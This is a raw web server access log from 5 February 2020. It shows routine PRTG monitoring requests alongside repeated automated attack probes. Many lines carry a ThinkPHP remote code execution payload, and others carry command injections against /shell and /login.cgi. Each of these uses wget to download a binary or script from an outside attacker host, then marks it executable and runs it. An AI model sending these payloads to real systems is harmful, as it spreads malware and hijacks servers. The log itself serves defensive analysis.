169.197.108.6 - - [05/Feb/2020:15:17:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
94.60.11.125 - - [05/Feb/2020:15:17:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:15:17:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:15:18:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.1.55 - - [05/Feb/2020:15:19:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:15:19:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.19.184.187 - - [05/Feb/2020:15:20:41 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [05/Feb/2020:15:20:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.107.175 - - [05/Feb/2020:15:21:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:15:21:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
114.32.10.65 - - [05/Feb/2020:15:22:02 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [05/Feb/2020:15:22:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
114.25.153.30 - - [05/Feb/2020:15:22:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.118.253.168 - - [05/Feb/2020:15:23:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:15:23:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.71.214.73 - - [05/Feb/2020:15:23:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:15:24:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:15:25:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:15:26:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:15:27:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:15:28:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:15:29:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:15:30:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:15:31:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.76.60.118 - - [05/Feb/2020:15:32:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:15:32:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:15:33:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.163.129.7 - - [05/Feb/2020:15:34:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:15:34:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:15:35:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:15:36:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.188.134.202 - - [05/Feb/2020:15:37:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:15:37:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:15:38:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.114.81.70 - - [05/Feb/2020:15:39:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:15:39:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:15:40:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:15:41:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:15:42:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.4.200 - - [05/Feb/2020:15:43:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.119.41.196 - - [05/Feb/2020:15:43:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:15:43:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:15:44:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.230 - - [05/Feb/2020:15:45:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
212.91.246.72 - - [05/Feb/2020:15:45:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.230 - - [05/Feb/2020:15:46:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
212.91.246.72 - - [05/Feb/2020:15:46:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:15:47:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.235.221.111 - - [05/Feb/2020:15:48:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:15:48:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.205.164 - - [05/Feb/2020:15:48:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:15:49:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
182.93.48.178 - - [05/Feb/2020:15:50:17 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [05/Feb/2020:15:50:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.94.125.71 - - [05/Feb/2020:15:50:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
71.6.232.4 - - [05/Feb/2020:15:51:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:15:51:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.181.221.207 - - [05/Feb/2020:15:52:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:15:52:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:15:53:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.187.37.127 - - [05/Feb/2020:15:53:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:15:54:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.204.51.79 - - [05/Feb/2020:15:55:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:15:55:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.237.26.233 - - [05/Feb/2020:15:55:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
121.170.153.133 - - [05/Feb/2020:15:56:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
171.229.232.25 - - [05/Feb/2020:15:56:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:15:56:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
73.33.112.155 - - [05/Feb/2020:15:57:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:15:57:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.180.31.164 - - [05/Feb/2020:15:58:18 +0100] "GET /json.php?action=rea\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 309 "-" "Karu/2.0"
212.91.246.72 - - [05/Feb/2020:15:58:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.69.191.35 - - [05/Feb/2020:15:59:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:15:59:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:16:00:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:16:01:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.115.86 - - [05/Feb/2020:16:02:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:16:02:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:16:03:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:16:04:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.14.134.134 - - [05/Feb/2020:16:04:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:16:05:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.208.202.171 - - [05/Feb/2020:16:06:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
63.143.35.230 - - [05/Feb/2020:16:06:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
212.91.246.72 - - [05/Feb/2020:16:06:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:16:07:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
71.6.232.4 - - [05/Feb/2020:16:08:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:16:08:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
138.59.71.65 - - [05/Feb/2020:16:09:37 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [05/Feb/2020:16:09:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:16:10:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:16:11:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:16:12:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
174.81.167.164 - - [05/Feb/2020:16:13:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:16:13:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:16:14:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.158.191.155 - - [05/Feb/2020:16:15:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [05/Feb/2020:16:15:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:16:16:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.238.68.50 - - [05/Feb/2020:16:17:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:16:17:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:16:18:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
170.231.143.9 - - [05/Feb/2020:16:19:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:16:19:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.242.5.224 - - [05/Feb/2020:16:20:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:16:20:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:16:21:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:16:22:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:16:23:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:16:24:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.22.132.99 - - [05/Feb/2020:16:25:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:16:25:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
200.53.19.243 - - [05/Feb/2020:16:26:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:16:26:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
165.227.115.110 - - [05/Feb/2020:16:27:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:16:27:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.130.197 - - [05/Feb/2020:16:28:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:16:28:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:16:29:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.20.137 - - [05/Feb/2020:16:30:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:16:30:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:16:31:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
209.159.154.190 - - [05/Feb/2020:16:32:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://94.177.216.74/sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [05/Feb/2020:16:32:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.93.171.42 - - [05/Feb/2020:16:32:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [05/Feb/2020:16:33:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:16:34:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:16:35:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:16:36:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:16:37:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.76.60.118 - - [05/Feb/2020:16:38:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
